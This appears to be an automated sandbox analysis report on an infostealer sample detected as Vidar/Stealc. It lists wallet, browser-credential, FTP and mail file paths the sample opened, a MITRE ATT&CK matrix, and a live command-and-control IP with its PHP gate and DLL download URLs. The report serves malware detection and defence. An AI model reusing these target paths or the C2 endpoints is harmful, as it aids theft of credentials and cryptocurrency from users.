Source: Yara match	File source: 00000000.00000003.2145141255.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3372, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3372, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2372959579.00000000017C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2372959579.00000000017C2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3372, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2372959579.000000000173E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2145141255.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3372, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3372, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.phpdllX	file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2238391716.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, BFHIJEBK.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2238391716.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, BFHIJEBK.0.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	EHDHIDAEHCFHJJJJECAA.0.dr	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp, EHDHIDAEHCFHJJJJECAA.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dllWP	file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2238391716.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, BFHIJEBK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2372959579.000000000173E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllAP	file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpom	file.exe, 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll=Q	file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37.com	file.exe, 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php3D	file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2238391716.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, BFHIJEBK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll0R	file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpdll	file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllsP	file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2398430862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2387864996.000000001D859000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpQ	file.exe, 00000000.00000002.2392789834.00000000298B1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2238391716.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, BFHIJEBK.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpinomi	file.exe, 00000000.00000002.2372959579.00000000017C2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll%P	file.exe, 00000000.00000002.2372959579.00000000017B5000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2238391716.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, BFHIJEBK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php;	file.exe, 00000000.00000002.2372959579.0000000001797000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2238391716.00000000017F6000.00000004.00000020.00020000.00000000.sdmp, BFHIJEBK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpbird	file.exe, 00000000.00000002.2372959579.00000000017C2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
